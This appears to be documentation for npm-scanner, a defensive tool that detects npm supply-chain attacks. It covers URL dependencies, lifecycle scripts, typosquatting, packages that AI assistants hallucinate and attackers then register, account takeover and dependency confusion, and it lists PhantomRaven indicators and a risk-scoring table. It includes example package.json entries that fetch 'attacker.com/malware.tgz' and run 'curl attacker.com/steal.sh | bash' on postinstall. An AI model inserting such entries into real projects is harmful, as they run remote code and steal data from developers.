npm-scanner protects against supply chain attacks delivered through npm packages. It focuses on attacks that bypass traditional vulnerability scanning (npm audit).
npm audit for these)Attacker publishes package with dependency pointing to external URL instead of npm registry.
{
"dependencies": {
"helper": "https://attacker.com/malware.tgz"
}
}
Attack Flow:
npm installDetection: npm-scanner scans package.json and package-lock.json for HTTP/HTTPS URLs in dependency specifications.
Severity: CRITICAL
Real-World Example: PhantomRaven campaign used packages.storeartifact.com
Package runs malicious code during installation via npm lifecycle scripts.
Vulnerable Scripts:
preinstall - Runs before package installsinstall - Runs during installationpostinstall - Runs after installation{
"scripts": {
"postinstall": "curl https://attacker.com/steal.sh | bash"
}
}
Detection: npm-scanner identifies packages with lifecycle scripts and applies risk scoring based on package age, downloads, and maintainer count.
Severity: HIGH (varies based on package reputation)
Note: Many legitimate packages use lifecycle scripts (esbuild, prisma, puppeteer). Context matters.
Attacker registers package with name similar to popular package.
| Malicious | Legitimate |
|---|---|
lodahs |
lodash |
expres |
express |
recat |
react |
Detection: npm-scanner compares package names against 28 popular targets using Levenshtein distance (edit distance ≤ 2).
Severity: HIGH
AI coding assistants recommend non-existent packages. Attackers register these names with malicious code.
Attack Flow:
helpful-utils package”helpful-utils with malwareDetection: Age checks and low download counts flag newly created packages.
Severity: HIGH
Attacker compromises legitimate maintainer account and publishes malicious update.
Detection: Limited. npm-scanner checks for:
Severity: CRITICAL (hardest to detect)
Attacker publishes public package with same name as internal/private package.
Detection: npm-scanner can identify suspicious packages but cannot know your private package names.
Severity: HIGH
packages.storeartifact.com (PhantomRaven)storeartifact.com (PhantomRaven)54.173.15.59 (PhantomRaven)jpdtester\d+ (PhantomRaven test accounts)npmhell (known attacker)npmpackagejpd (PhantomRaven)| Indicator | Points | Rationale |
|---|---|---|
| Known malicious domain | +100 | Confirmed attack infrastructure |
| Known malicious IP | +100 | Confirmed attack infrastructure |
| Attacker pattern match | +100 | Known bad actor |
| HTTP URL dependency | +50 | Primary RDD attack vector |
| Typosquatting match | +30 | Likely intentional deception |
| Lifecycle scripts | +10-30 | Potential code execution |
| Package age <30 days | +20 | New packages are higher risk |
| Downloads <1000/week | +15 | Less community vetting |
| Single maintainer | +10 | Higher account compromise risk |
| Disposable email | +25 | Throwaway identity |
Legitimate packages may trigger warnings:
npm-scanner may miss:
| Threat | npm audit | npm-scanner |
|---|---|---|
| Known CVEs | ✓ | ✗ |
| URL dependencies | ✗ | ✓ |
| Lifecycle scripts | ✗ | ✓ |
| Typosquatting | ✗ | ✓ |
| Metadata analysis | ✗ | ✓ |
| Maintainer analysis | ✗ | ✓ |
| Known malicious domains | ✗ | ✓ |
Use both. They are complementary.